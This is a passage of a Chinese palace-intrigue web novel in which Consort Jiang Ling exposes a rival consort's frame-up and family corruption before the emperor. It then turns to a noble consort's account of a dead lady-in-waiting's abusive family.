元明帝神色阴沉,冷冷看了眼芳荷,道:“传红叶!” 很快,红叶被传进了殿。李婕妤拿出步摇,问道:“红叶,我可有给你金蝉,让芳荷将步摇放在江美人处?” “娘娘,奴婢不知什么金蝉。” 红叶神色疑惑,看着李婕妤手上的步摇,不解道:“步摇?这只步摇是娘娘的心爱之物,娘娘忍痛送给了江美人。当时娘娘心疼极了,时常念叨着步摇是皇上赏赐,娘娘当时伤心了许久呢。” 芳荷见红叶矢口否认,惊恐之下,本能地保命,急着道:“红叶撒谎,金蝉时她拿给我,说是让我拿着玩,要是喜欢的话,以后她再给我!美人的体己中,只有月例积攒下来的碎银子,繁英阁都照不出来这么精致名贵的金蝉!” 元明帝动了动身子,厌恶地看向芳荷,余光不由得瞄了眼紧绷着脸的江舲。 红叶沉着冷静,她不与芳荷争辩,只道:“芳荷经常前去膳房传膳,吩咐厨子做江美人喜欢的菜式,顺道也给她准备一份。前去膳房的各宫宫女,无人不知,芳荷脾气极大。奴婢恐惹了她不喜,奴婢避之不及,与芳荷从未有过来往。” 从江舲受宠之后,膳房巴结上来,芳荷跟着得了不少孝敬。连主子们都吃不到的饭菜,她身为宫女,却能随便享用。 红叶话中有话,指出芳荷在膳房颐气指使,替江舲要饭菜。 嫔妃的饭菜皆有定例。江舲的举动,实则是仗着受宠,视宫规于不顾。 奴随其主,芳荷的嚣张,间接证实了江舲向李婕妤索要钱财之事。 芳荷嘴张了张,面若死灰,冷汗湿透衣衫,再也说不出话来,匍匐在地,浑身簌簌发抖。 “拖出去杖毙!”元明帝指着芳荷,厉声道。 芳荷一下晕了过去,江舲见状,急着道:“皇上!臣妾有话说!” 元明帝眉头蹙起,道:“此等刁奴,莫非,你还想替她求情不成?” 金蟾已在元明帝面前过了明路,芳荷不知此事,李婕妤应该也不知情。 芳荷是江舲身边伺候的人,虽然她与阿箬都算不得机灵,忠诚。但江舲自己也算不得聪明人,更不会要求她们必须要有奴性,誓死效忠她。 因为她自己都做不到,己所不欲勿施于人。 芳荷是犯了错,直接杖毙太过残忍。 宫正司处罚,也只是打板子之后,送进柳树巷养伤,她还有活下来的机会。 “皇上,去膳房要吃食之事,确实臣妾所为,并非芳荷自作主张。” 吃进口的饭菜,皆要经过膳房的手。江舲绝口不提是膳房主动孝敬,主动承认了要吃食之事。 江舲恭敬地屈膝,道:“皇上,臣妾想问红叶与婕妤娘娘几句话。” 元明帝点头应允,江舲看向红叶,问道:“红叶,你可有在膳房要过吃食?你先别急,想好了再回答。” 红叶愣了下,她不敢迎着江舲的目光,忙垂头回避,硬着头皮道:“奴婢守着规矩,不敢擅自索要吃食。” “膳房人多眼杂,随便一问就可得知。红叶,你在撒谎。不仅你与芳荷一样,婕妤娘娘也在膳房要过吃食。”江舲肯定地道。 她都能享受膳房的好处,李婕妤这些年颇为受宠,膳房哪能不主动孝敬。红叶也一样,一并跟着李婕妤吃香喝辣。 红叶心虚地不敢做声,李婕妤在膳房要喜欢的菜式,她确实吃了不少。 如江舲所言,膳房人来人往,总有人看到,随便一查就知。 江舲不再去管红叶,看向李婕妤,问道:“婕妤娘娘,苑囿的花木,起初短缺,后来为何又送了进来?” 李婕妤眼眸闪了闪,道:“我大哥管着苑囿,当差向来尽心尽力,不敢负了圣恩。冬至过年元宵皆是重要节庆,岂能让皇上没了脸面,大哥散尽家财,去买了花木,补齐了短缺。” 江舲哦了声,道:“李郎中还真是尽心尽力,买了上好的花木送进宫。我就是觉着奇怪,苑囿匠人皆是好手,远比民间种植花木的花农本事要高。民间的花农能种出来,苑囿却种不出来。” 李婕妤神色微变,她死死盯着江舲,一时没有做声。 江舲笑了下,再继续问道:“花木运送不易,李郎中只能向京城以及京郊的花农去买。宫中连着节庆,耗费花木众多,要是大量供给了宫中,京城就该缺花木了,花木的价钱,应该大涨,比起以前至少要翻好几倍。李婕妤,京城的花木,究竟价钱如何?” “我是后宫嫔妃,如何知晓京城花木的价钱?”李婕妤冷冷道。 江舲惊讶地道:“婕妤娘娘称李郎中散尽家财去买花木,却不知花木的价钱?婕妤娘娘,李郎中散尽的家财,到底是多少银子?” “就算借债,大哥也会当好差使。究竟花了多少银子,大哥不愿让我担心,从未告诉过我,我无从得知。” 李婕妤心里虽紧张,反应却极快,很快反击道:“江美人抓住银子不放,是担心李家花光了银子,以后再也勒索不到了?江婕妤心心念念惦记着苑囿,尽管放心就是,大哥遭此一劫,正打算辞去苑囿的差使。” “婕妤娘娘,你先别岔开话题,只需回答我的问题。” 江舲不为所动,问道:“婕妤娘娘,为何苑囿的匠人,会种植不出来花木?” 李婕妤心沉下去,道:“前朝匠人的事,我哪会清楚,江美人要想知道,去质问苑囿的匠人便是。” “婕妤娘娘,你可承认京城的花木,应该价钱飞涨?”江舲追问道。 李婕妤谨慎地道:“江美人,你究竟是何意思,我先前已经回答过你,我是后宫嫔妃,不知宫外之事!” 江舲不再问她,对元明帝道:“皇上,臣妾问完了。臣妾以为,婕妤娘娘的话前后矛盾,她自称不知京城花木的价钱,却咬定李郎中散尽家财,甚至借债去买花木。京城种植花木的花农不多,臣妾恳请皇上去查查,李郎中究竟可有去买花木,买了多少,价钱几何。” 其实江舲在提问中,指向已经很明显。 李郎中要是去买花木,所需量大,需要大笔的银子。 年节时的花木本来就贵,李郎中要是花的银子不多,就是向花农压了价钱,等于是强买强卖,欺行霸市。 若是李郎中照着市价购置,李家未免家财太雄厚了些。 江舲两次提及苑囿的匠人,他们种植不出来花木,除非是肥料不足,种子,或者植株时以次充好。 以前赵德妃管着尚寝局,她拿了李家的好处,苑囿送进来的花木不足,她睁一只眼闭一只眼。不受宠的嫔妃,只能摆些不值钱的野花野草。 无论何种,李郎中都脱不开干系! 江舲拿出金蟾,在手中来回端详,道:“这是婕妤娘娘强塞给我的金蟾,当时我看到之后,都吓了一跳,心想李家真是阔绰啊!随随便便就能拿出金块,这颗红宝石,更是价值不菲。皇上,李家究竟有无散尽家财,臣妾以为,也可以查查。李婕妤的父亲李侍郎,大哥李郎中当了多少年的官,得了多少的俸禄,户部有账目可查。李家家中的买卖,田产,赚了多少银子,大致也可以估算。李家的宅子,库房有多少银子,平时的吃穿用度,车马,奴仆,花销几何,臣妾以为,都该如实查清。” 林贵妃赵德妃柳贤妃三人本来端坐着,一言不发看着江舲与李婕妤的你来我往。这时江舲的话音一落,几人的神色终于有了变化。 几人朝江舲看来,柳贤妃目光探究,赵德妃凝神沉思。林贵妃扬了扬眉,一脸的意味深长。 李婕妤脸色刷地苍白,心跳飞快。她咬了咬唇,恨恨盯着江舲:“江美人,你这是何意,难道你想要抄了我李家不成?” 江舲道:“婕妤娘娘,你先前称我看上了苑囿,勒索李家的家财。我就是被冤枉,也该让我知道,我到底有多冤枉。苑囿究竟有多肥,李家家财有多雄厚,才值得我蠢得抢你有宫中徽记,皇上赏赐给你的步摇,勒索你李家,夺了苑囿!” 她以前做过社畜,后来辞职收租,基本的经济原理,供需关系等知识还是没丢掉。 现在的官员,家财转移不出去。买宅子铺子田产,有据可查。金银财宝,只能藏在府里的库房中。 来历不明的家产,就不好解释了。 从李婕妤的话中,江舲猜测李郎中的日子比较难过。 毕竟大胤的节庆多,马上又是花朝节。花朝节赏花扑蝶,宫中离不开花木。 江舲不合作,不克扣后宫不得宠嫔妃的花木,苑囿就要如数送进来。 李婕妤必须夺走尚寝局,她才能有活动的机会,让李家缓缓气。 虽比不过她们聪明,又不善言辞,人前社恐,到底历经过几次锻炼。 李婕妤太过分,她被逼得无路可退,必须反击。 她确实打算抄底李家,斩断李婕妤的依仗! 关键定夺之人,还在元明帝。 江舲学着李婕妤先前的作态,抬手捂住脸,暗戳戳用力搓了搓眼睛,痛得她眼泪汪汪。 她豁了出去,上前几步,往木着脸,冷眼旁观的元明帝面前一靠,梨花带雨道:“皇上,臣妾冤枉,请皇上替臣妾做主啊!” 元明帝:“……” 他一直不动声色看着她,她的小动作,被他悉数瞧在眼里。 她根本是在假哭骗他! 第44章 近来后宫前朝皆不太平, 元明帝感到前所未有的烦躁。 苑囿花木起初短缺,后来总算补上,元明帝便打算让此事过去, 不再追究。 谁知李婕妤状告江舲强行索取钱财,勒索李家。元明帝虽信任江舲, 只深知她爱财,尤其她望着金蟾深情的目光, 一时又无法太过笃定。 听罢她的陈词, 元明帝对她颇为赞许,心中也有了决断。 被她假意一哭, 元明帝不禁哭笑不得,心里暗骂着她, 手不由自主伸了出去:“快些起来。” 江舲暗自松了口气, 顺势站起身,屈膝谢恩。此刻她的脸滚烫,尴尬得恨不能钻进金砖底下藏起来。 “哎呀, 不行不行, 快要晕过去了!发嗲撒娇是真功夫, 不是人人能做得到啊!” 羞耻之下, 江舲脑子杂乱无章, 涌起各种念头:“李婕妤是他的心肝肝, 打老鼠伤了玉瓶儿,他不会杀几个倒霉鬼来应付一下吧?” 元明帝瞥了江舲一眼, 后悔不迭。早知她表里不一, 就不该让她平身! 江舲一哭诉,李婕妤也不甘落后。不过须臾间,她的眸中蓄满泪, 哀哀切切喊了声皇上,“臣妾……臣妾待皇上的一颗心,苍天可鉴!” “呸!真是好笑,苍天可鉴,你不如干脆挖出来,还有几分说服力。有本事,让牛粪去查你李家的库房!” 江舲暗中白眼翻上天,她已经哭不出来,更装不出来柔弱,道:“婕妤娘娘待皇上的心,与李家的库房有何干系?” “江美人,你莫要欺人太甚。”李婕妤侧首看向江舲,声音凄楚孱弱,眼眸中淬满怨毒,恨不得要将江舲生吞活剥掉。 元明帝头疼起来,眉头紧蹙,一拍扶手,厉声道:“都给朕闭嘴!” 李婕妤吓得一抖,咬着唇垂下头,无声啜泣。江舲不再做声,恭敬地肃立,心里却一片冰凉:“果然,牛粪要袒护他的小心肝!” 元明帝没好气瞪了眼江舲,沉声道:“李婕妤唆使红叶将步摇放在江美人处,欲将陷害江美人,心术不正,贬为贵人,挪到撷芳阁西跨院去!宫女红叶,交由宫正司,传朕的旨意,直接杖毙!” 红叶惊吓过度,晕了过去。黄梁躬身领着内侍上前,将她飞快拖了出去。 在瞬息间,从婕妤降为贵人的李贵人,她如遭雷击,难以置信地望着元明帝,真正伤心起来。 从被发配皇庙的苏月,到去世的高才人,接连出事。撷芳阁的西跨院,已然变成后宫众人眼中不祥之地。 婕妤为正三品,贵人为庶妃,无品级。 李家,恐怕此次也彻底完了! “皇上,臣妾进宫这些年,始终尽心尽力侍奉皇上,从无二心。皇上不相信臣妾,却相信江美人。皇上看重江美人,臣妾不敢与江美人争。” 李贵人哭得伤心欲绝,泣不成声道:“只是,皇上就凭着江美人一席话,竟要将臣妾待皇上的一颗真心,也视若敝履么?” 元明帝冷冰冰看着一脸泪的李贵人,像是看着陌生人。对她并无半丝的怜惜,反倒觉着她面目可憎:“李氏,你好大的胆子!朕的旨意,岂容得你来质疑!” 李贵人心若死灰,从喉咙中挤出悲鸣般的笑,突然指向赵德妃,尖声道:“那她呢?她管着尚寝局时,从李家拿了不少的好处。皇上也要包庇她么,臣妾不服,不服!” 元明帝气得额头青筋突起,猛拍御案,盛怒道:“好个贱人,在朕的面前发起疯来!” 赵德妃眼里阴狠一闪过,很快恢复了寻常,温声道:“李妹妹,我知你乍然从高处跌落,一时慌乱失了心智,我不会与你计较。李妹妹,可你真误会了皇上,皇上宽厚仁慈,若不顾念李妹妹这些年侍奉的情分,岂会将李妹妹留在宫中,早已直接发配到皇庙了。李妹妹,黄老夫人上了年岁,上次元宵时,黄老夫人还与我高兴地说,李郎中的几个儿女都跟姑姑一样,孝顺懂事。” 她上前一步,执着李贵人的手,温声劝道:“李妹妹这般闹下去,真正惹恼了皇上,黄老夫人要是得知,就该真正伤心了。” 李贵人浑身一震,她渐渐清醒过来,死命咬着唇不让自己做声。嘴角有血丝溢出,明亮的猫儿眼,被蒙上了层灰,泪从眼角潸然滑落。 元明帝看着赵德妃,目露赞许之意。林贵妃柳贤妃皆沉默不语,江舲不知她们作何想,她只觉着荒唐至极。 连她都能听出来,赵德妃暗含威胁,何况是她们两人! 元明帝却似乎没听懂,兴许他听懂了,因着袒护赵德妃,她有本事能摆平,令他很是满意,不想再见到李贵人,呵斥道:“滚出去!” 李贵人如同行尸走肉般,木愣愣屈膝下去,转身摇摇晃晃走出大殿。 闹了一场,早已过了午饭时辰,元明帝腹中空空,疲惫地揉着眉心,神色不虞道:“朕将后宫交给你们,大事小事不断。频频发生!若你们管不好,朕便来亲自管着,朕就不信了,看谁敢生事,朕剥了他的皮,抽了他的筋!” 林贵妃几人忙应是,元明帝重重哼了声,让她们退下,独自留下江舲。 元明帝不悦指着芳荷:“这个贱婢,一并拖下去打死作数,你难道还打算留着她?” 芳荷早已吓得面无人色,江舲恍惚笑了笑,将她先前想好的处置说了,“臣妾求皇上恩准。” 元明帝斜乜着江舲,道:“背主的贱婢,你偏生心慈手软。罢了,朕不管了,且随你去。” 先前红叶被元明帝杖毙,芳荷以为自己也是她的下场。如今江舲在元明帝面前求情,她尚有一线生机,跪下来砰砰地磕头:“奴婢多谢皇上饶命之恩,多谢美人。这辈子奴婢无以为报,下辈子做牛做马再来报答!” “堂堂正正做个人吧,摸要做畜生。”江舲默然片刻,觉着意兴阑珊,终是淡淡道。 芳荷眼泪鼻涕流了一脸,连着磕头,跟着内侍前去了宫正司。 江舲屈膝告退,元明帝站了起来,负手在后,道:“都这个时辰了,你莫非不饿?随朕前去午膳!” “文涓你回去,把芳荷的细软收拾好,你替她保管着。阿箬留下来。”江舲吩咐完,跟着元明帝前去了琼芳阁。 内侍宫女送来午膳,江舲没甚胃口,捡着鱼肉吃了些,便放下了碗筷。 元明帝看到她食案上剩下的饭菜,拧眉道:“可是身子不舒服,怎地饭都吃不下了?” “说得我好像饭桶一样。”江舲在心里抱怨了句,道:“臣妾不饿,多谢皇上关心。” 元明帝想着她在文德殿与李贵人闹了一场,估计心里还在置气,未再多劝,道:“时辰不早,去歇了吧。” 江舲应是,屈膝告退。元明帝没好气拉着她,“你去何处,琼华阁难道歇不下你?” 琼华阁规矩重,江舲更不愿意与元明帝一起歇息,暗自骂骂咧咧去了卧房。 元明帝挠了挠被她吵得发痒的耳根,不搭理她,宽衣上床。 江舲跟着从床尾进去,元明帝侧首看去,将她拉了过来:“你贴着里面作甚,朕的龙床这般宽敞,不会挤着你。” “臣妾恐挤着了皇上,耽误了皇上午歇。”江舲睁眼说着瞎话。 “油嘴滑舌!”元明帝冷笑,将她揽入怀中,道:“睡吧,等起身之后,朕再与你好生说说。” 江舲被搂着,哪还睡得着。她挣扎几下,元明帝始终不放手,含混道:“别动!” 见他已经合眼欲睡,江舲只能在心里怒骂了几句,也跟着睡了。 软玉温香在怀,元明帝心猿意马,手开始不规矩起来。 江舲困得很,下意识揭开元明帝的手,甩到了一边去。 元明帝不悦地沉下脸,见她已经睡着了,姑且悻悻放了她一马。 过了平时午歇的时辰,元明帝躺了片刻,照着往常的时辰起了身。江舲尙迷迷糊糊中,被元明帝的动静吵醒,只能睡眼惺忪跟着起来。 “吃杯茶醒醒神。”元明帝见江舲低着头,耷拉着眼皮无精打采,不禁好笑道。 江舲端起茶盏吃了起来,温热的茶水下肚,暂时清醒了些。 元明帝本想说先前在文德殿之事,贸然处置李郎中,会牵连甚广。 话到嘴边,又觉着晦涩难言,默默住了声。 元明帝转开话题,道:“你身边如今只剩下两个人,总得添人了,朕替你选几个忠厚可靠的伺候。” 一朝被蛇咬十年怕井绳,江舲谁都不敢信,闻言立刻振奋起精神道:“臣妾多谢皇上好意。平时臣妾没什么事,文涓阿箬两人也忙得过来。若一定要添人,臣妾想从刚进宫的小宫女中选几人,平时学着规矩,做些轻便活计,繁英阁的人手也就够了。” 元明帝看透江舲的心思,好脾气地随了她去,道:“也好,小宫女自小跟着你,你不时敲打敲打,以后她们就只听你的话,断不敢再背叛你。” 江舲懒得解释,元明帝是九五之尊的天子,掌握生杀予夺的大权,永远不会理解她的想法。 “朕还有件事与你说。”元明帝眼里含笑,柔声道:“你远离父母亲人,年节时,父母也不得一见。朕已经下旨将你阿爹调到京城来。你阿娘跟着进京,以后,你就可以时常召你阿娘进宫说话了。” 江舲缓缓抬起眼,难以置信看着元明帝,满脸地震惊。她连规矩都顾不上,失声道:“谁,是谁要害我?” 第45章 谁都不愿意承认自己的平庸, 在江舲的看来,世上所谓的怀才不遇,九成以上皆因自我认知不足, 自视甚高。 江父江文修年近五十,始终不得升迁, 迄今为止仅是个芝麻官小县令。独子江承望年过三十,一事无成, 与妻儿都靠着老父为生。 小县令管着一县, 要是能治理一方,造福百姓。即便不得上峰看重, 至少会得到百姓爱戴。 若是与上峰打好关系,使出巴结, 谄媚, 送礼等手段,肯定早已得到提拔。 钻营虽不光彩,在官场中稀松寻常, 随处可见。无论江文修是不屑, 或是不懂, 都足以表明, 他不适合官场。 元明帝硬生生将他调进京城, 一头扎进权力中枢, 好比将不会水的他,扔进深潭之中。 江舲察觉到自己的语气不对, 硬生生克制住情绪, 问道:“皇上,究竟是谁提议,调臣妾阿爹进京?” 元明帝本以为提拔江家, 会使得江舲高兴。谁曾想,他对她的恩宠,被看做洪水猛兽,以为是在害她。 他眉头一皱,脸色明显沉了下来,不悦道:“调你阿爹进京,乃是是朕的旨意。莫非你以为,朕要害了你不成?” 江舲见竟然是他自以为是,暗自咬牙,恨不得抓花他的脸。她努力挤出笑容,发现着实笑不出来,干脆板着脸问道:“皇上别管臣妾,就拿吏部考核来评判,我阿爹可有资格调进京城。调进京城之后,皇上打算封他做什么官?” “朕要提拔的官员,区区吏部而已,政事堂都不敢拦着!” 元明帝调江文修进京,打算在六部给他安排个肥差,恩荫江承望出仕领个闲差。 江舲一家,算是能在京城团聚。她母亲嫂嫂能经常进宫探望,陪着她说说话,省得她成天闲得慌。 被江舲一质问,元明帝气恼不已,沉声道:“朕的旨意已下,岂容你反对!你身为后妃,要谨守着规矩,记得自己的本分,不得插手朝政!” “臣妾从未过问前朝之事,只事关臣妾家人,皇上又特意告诉了臣妾,臣妾必须表明态度。臣妾以为,阿爹有什么本事,就做什么官。帽子太大,阿爹戴不稳当。” 江舲虽与江家人不熟,但与他们戚戚相关。元明帝态度坚决,九五之尊的脸面比天大,已然恼羞成怒。 躲过这次,指不定还有下回。 江舲深吸一口气,道:“皇上一定要提拔阿爹,臣妾求皇上赐给江家一块免死的牌子,至少要免死十次!” 元明帝快被江舲气笑了,怒道:“真真是不学无术,什么免死的牌子,那叫铁券丹书!有朕在,谁敢拿你阿爹如何,还十次……哎哎哎……” 他的话,被突然扑过来的江舲打断,忙手忙脚乱搂住她,恼怒又无奈道:“你要作甚,瞧你这莽撞性子,朕若不接住你,看你不摔在地!” “嘤嘤嘤。” 江舲抛却羞耻,拼命学着宠妃撒娇的桥段,头埋在元明帝身前干哭,捏着嗓子矫揉造作一阵乱喊:“皇上,不嘛,皇上就答应臣妾。臣妾好怕,臣妾真的怕呀!” 说到怕,江舲悲上心头,挤出几滴真情实感的眼泪。 元明帝被江舲一通搓揉,身子后仰,一脸的嫌弃,手却扶着她的双肩不放。 想着她先前佯装哭泣之事,元明帝狐疑地打量着她。见到她眉眼间掩饰不住地惊惶忧愁,顿时一愣。 “她虽说心里胆大包天,实则只敢在暗中乱想一气。平时规规矩矩,大门不出二门不迈。心地又善良,连背叛她的宫女都能宽宥。” 元明帝不由得心疼起江舲来,“唉,她着实吓得不轻。罢了罢了,铁书丹券保不了谋反大逆,江文修没甚出息,又是文官,给她铁书丹券又何妨。” “皇上,嘤嘤嘤……”江舲垂首哭泣,心急如焚。她已经哭不出来,偷偷抽出袖袋中的帕子,准备抬手抹眼睛。 “莫要哭啦!朕答应你就是。”元明帝柔声说道,抬手抚上江舲的脸,“瞧你,眼都红了” 江舲顿时大喜,哭声嘎然而止,头下意识偏向一旁,躲开元明帝伸来的手。 元明帝手落空,宠溺笑意僵在了脸上。 眼见元明帝就要翻脸,江舲难得反应极快,机灵地起身屈膝下去:“臣妾谢皇上大恩!” 元明帝见江舲是为谢恩,难得她不曾嘴上道谢,心里骂人,不觉龙心甚慰。心头的不快散去,忙探身将江舲扶起:“你只记着,朕待你自与他人不同,以后莫要再胡闹。” “臣妾记得了。皇上,还有件事请皇上恩准。” 江舲生怕元明帝再抚脸,悄然退后一步,道:““臣妾恳请皇上,将铁书丹券放在臣妾处,莫要告诉阿爹此事。臣妾恐怕阿爹有铁书丹券护着,便无所顾忌,做出伤天害理的事,有负圣恩。” “行,都依了你。”元明帝听江舲不因着铁书丹券纵容江家,对她愈加高看,一口应了。 江舲谢了恩,心里大叫一声:“哎呀!真是笨啊!我怎么不给自己也要一份!不会被赐死,更不会降份位,褫夺封号,保证夏有冰,冬有银丝炭,每日有鱼虾,新鲜的菜蔬吃。还有锦衣华服,宽敞的大宫殿,只有我一人住。再哭一次,还来得及吗?” 元明帝面无表情听着,只无语凝噎。见她转动眼珠,鬼鬼祟祟看过来,马上道:“铁券丹书用生铁打造,需要一段时日,待做好之后,朕再交予你之手。朕前朝还有事,你退下吧。” “他小气得很,要是再要的话,说不定他反悔,把前面的铁书丹券也一并收回。”江舲心道,虽后悔不迭,到底没再多言,施礼告退。 元明帝听她无数次编排自己小气,不由得怀疑起来:“莫非待她真小气了些,否则,她怎会一直念叨此事?罢了,待江家进京之后。多给江家一些好处。京城宅邸贵,赏赐江家一间宅子,给他们些金银安顿。唔,再给江氏父子在六部安排阁肥差。哼,看她到时还有何话说!” 回到繁英阁,江舲累得瘫倒在榻上,浑身骨头都酸痛。文涓端着茶盏进屋,阿箬提着小炉不安地跟在她身后,勤快地帮着煮水。 “美人,奴婢已将芳荷的行囊收拾好,美人可要过目?”文涓轻声道。 江舲沉默片刻,道:“这是她用命换来的,你替她收着便是。” 文涓应是,躬身退下了。阿箬坐在小杌子上,呆呆望着小炉。 江舲见她吓得不轻,盼着她能真正醒悟过来,便不再多言,只道:“以后我身边只你们两人近身当差,内尚书省会再派几个刚进宫的小宫女过来,文涓你辛苦一些,多看着她们些,教她们规矩。” 若非江舲在元明帝前的相护,芳荷早已被杖毙。这份情义担当,在后宫中极为难得。 文涓对江舲自是心悦诚服,忠心耿耿,忙道:“美人放心,奴婢会看着她们。刚进宫的小宫女,内尚书省的教引女官会教她们规矩,奴婢只不时提点几句,算不得忙。” 江舲嗯了声,闭目养起神来。阿箬刚煮好水,内尚书省的胡尙宫,管着宫女礼仪的尚宫局张尙宫,并管着宫女名录的司簿司女官,领着六个十岁出头的小宫女到来。 “美人,皇上吩咐了,说是美人先使唤着,若不满意,奴婢再重新选人送来。”胡尚宫脸上堆满笑,毕恭毕敬地道。 江舲打量着站成一排的小宫女们,她们面庞稚嫩,生得都清秀,端正。看上去虽拘束紧张,规矩却极好,低眉敛目垂手肃立。 既然元明帝亲自下旨,胡尙宫这般快就将人送了来,江舲估计她们来不及,也不敢乱安插人手,客气地道:“劳烦胡尚宫了。” 胡尚宫道不敢,将名录与小宫女交给江舲,三人施礼告退。 文涓阿箬都立在一旁,江舲想了想,道:“以后你们都听文涓安排,在屋外当差。不得传召,不许进屋来。” 六人齐声应下,江舲扬了扬手上的名录,道:“你们的家在何处,家中的父母亲人,族人,都在上面清楚记录着。” 说到这里,江舲停顿了下,威胁恐吓之意不言而喻。不管她们能否听懂,江舲没再继续说下去,转而道:“在我这里当差,说不上好,也说不上坏。好处在你们的活计轻省,只要当好差,无人会为难欺负你们。说不上好的之处,你们也别想出去仗势欺人,不许拿任何的孝敬,收受好处替人办事。不管你们以后打算到了年岁放出宫,还是想要留在宫中做女官,首先的一条,你们得先要活着。” 六人年幼,闻言大气都不敢出。有个刚十岁出头的小宫女,怕得瘦弱的双腿止不住地颤抖。 “你们不管遇到何事,不要自作主张,先来问我。无论有何想法,难处,也先来跟我说。我能做到的,会尽力帮你们解决。要是我都做不到,你们却去找别人,轻信他人的许诺,只会上当受骗,倒大霉。” 江舲心底叹息一声,因为她们都是宫女,是奴仆。 红叶找芳荷之事,是受到李贵人的指使,她才是主犯。红叶被杖毙,李贵人只是被夺去封号。贵人没品级,照样有宫女伺候,一应的吃穿用度,在规定上,远比宫女要好。 言尽于此,江舲让文涓领着她们下去安置,安排差使。她躺回榻上,继续歇息。 快到傍晚时,林贵妃来了。她坐下吃了一口茶,开门见山道:“江美人,司灯司方氏之死的缘由,我大致有了眉目。另,高美人应当并非中炭毒而亡,至于她为何要陷害你,我能猜出一些,你可想知晓?” 第46章 好奇心害死猫, 江舲下意识认为不该听,但她克制不住心中的好奇。在她期期艾艾时,林贵妃微笑着道:“你管着尚寝局, 两件事与你都有关系,不独是你, 我亦受到了牵连,我们一同被算计了进去。” 听她的言外之意, 她们成了一条绳索上的蚂蚱。江舲烦恼无比, 她以前算是添头,如今就不一定了。 林贵妃特意来告知她此事, 不外乎要与她结盟。 事关家族,荣华富贵, 生死。 在后宫之中, 不会有永远的敌人,更不会有永远的友人。 夕阳西斜,照在暖阁的纱绡窗棂上。林贵妃背靠窗棂坐着, 白皙清瘦的脸庞, 沉静如水, 身后却是似血一般的红。 江舲沉默片刻, 欠身道:“愿闻其详。” 林贵妃便娓娓道来:“方司灯来自甘州府阳山县, 家住在县城北边的槐花巷。她原本姓罗, 名小妮,父亲罗金财, 母亲魏氏, 共有兄弟姐妹三人。祖上留下来一间杂货铺,算不得大富大贵,铺子赚得的钱, 也能养活一家人。” 宫中选宫女,说是采选,实则是强制。婴儿养大不易,已经养到近十岁的女儿,进宫只有三种可能。 一是穷得实在吃不下饭,主动送女儿进宫。二则是被舍不得送女儿进宫的人家,贿赂采选的官吏,顶替进宫。三则是盼着能被皇帝看中成为后妃,若是能生个一儿半女,家人跟着能鸡犬升天。 罗家并非吃不起饭,家中总有些节余,能拿出银子让人顶替进宫。罗小妮被送进宫,便是最后一种可能。 江舲对罗家的做法,不予置评。 皆言一入深宫深似海,一辈子不得与家人相见。且不提普通寻常的百姓,世家大族出身的也一样,嫁人之后要伺候公婆,相夫教子。同在京城,一年到头也回不了几次娘家。 皇宫是全天下规矩最森严之地,也是最太平安稳之地。即便进宫做最脏最累的杂役,至少能吃饱穿暖,居有屋。 林贵妃道:“罗小妮是自己主动进宫。” 江舲一怔,惊讶不已。罗小妮进宫时年仅八岁出头,竟有勇气远离父母家乡,来到陌生的皇宫做宫女? “宫中并不缺宫女,当年甘州府上下都遭受了蝗灾,卖儿卖女的人家多了,便卖不上价钱,好些人家争抢着将女儿送进宫。罗小妮打听到采选的官吏到了里长家中,她主动跑上门,采选的官吏看到她相貌清秀,人也机灵,就将她选了进宫。” 林贵妃停下来,端起茶盏抿了口,她垂下眼眸,似乎在思索什么。片刻之后,才继续说了下去。 “罗金财会做买卖,杂货铺的买卖做得不错。平时得了些闲钱,便去找小倌。魏氏在罗小妮七岁那年去去世,姐姐罗大妮比她大三岁,九岁那年也因病没了。槐树巷都在传,魏氏与罗大妮都是被罗金财打死。” 江舲震惊地看向林贵妃,她静静点头,“甘州府到京城,快马加鞭来回,只要二十余日的功夫。我派了人去槐花巷一打听,无人不知罗氏父子。罗金财不曾续弦,罗大郎先后成了两次亲,皆早早身亡,不曾留下子嗣。罗大郎深肖其父,喜欢狎妓,吃酒,酒后暴虐无度。两任妻子不堪折磨,一人投井,一人自缢身亡。罗小妮当年也经常挨打,要是她不跑,估计也活不久。” 虽说官府不一定会管,江舲还是忍不住问道:“难道无人报官?” 林贵妃道:“魏氏娘家没了人,罗大郎妻子的娘家都上门来闹过,罗家拿些银子打发了。打妻子算不得大事,两人又是自尽,告到官府去,也只顶多让罗家赔一些银子了事。父教子,乃是天经地义。子告父,乃是忤逆不孝。” 其实在后世这种情形也并不鲜见,明知会有这种结果,江舲仍旧控制不住难过,道:“既然已经改姓方,还是称她为方司灯吧。” 林贵妃眉毛扬了扬,爽快地道好。她忽地笑了下,道:“罗氏父子已经归西。” 江舲诧异了下,长长呼出一口气,道:“恶有恶报,他们要是好好活着,才真是没了天理。” “世上究竟有无天理,我不曾见过,无法回答你。” 林贵妃神色淡淡,道:“罗氏父子,在七月十五中元节这晚,双双暴毙而亡。阳山县皆在传,父子俩定是被厉鬼索了命去。方司灯在宫中,罗氏父子无亲无靠,无人替他们伸冤。官府让邻里帮着草草埋葬,杂货铺暂且收归官家,当做是正常死了人,就此了事。” 江舲愣住,道:“娘娘是说,罗氏父子之死,与宫中有关?” “街坊称父子俩身子都好得很,中元节这日傍晚,还从相熟的铺子买了酒肉回去吃。翌日杂货铺不见开门,街坊并没当一回事,以为父子俩吃多酒,又去寻花问柳了。直到第三天,杂货铺仍大门紧闭,有人好奇前去看究竟,闻到铺子里传来一阵恶臭。那人敲门不应,察觉到不妥,找人合力打开大门,发现父子俩躺在床上,尸首已经生蛆腐烂。罗氏父子虽不是人,并未与人结下死仇。” 林贵妃顿了下,道:“这般说也不对,若真要论的话,方司灯与他们有生死大仇。” 江舲不禁想起,方司灯向来独来独往,性子孤僻。 兴许对她来说,并非为了权势富贵,而是母亲姐姐之死的仇恨,撑着她在宫中苦熬出头。在得知罗氏父子死后,彻底得到解脱,干脆决绝去赴死。 “方司灯做了女官,官府还是托人递了话进宫,告诉罗氏父子亡故之事。方司灯并未理会。没多久,就发生了中秋节大殿上的风波,方司灯自尽。这并非巧合,方司灯是在做出回报。” 林贵妃笑了下,道:“这一步棋,走得真是精妙,掌控人心的本事,真真是炉火纯青。方司灯是大仇得报,能无牵无挂去了。自此死无对证。” 江舲心里堵得慌,问道:“那高美人呢?” 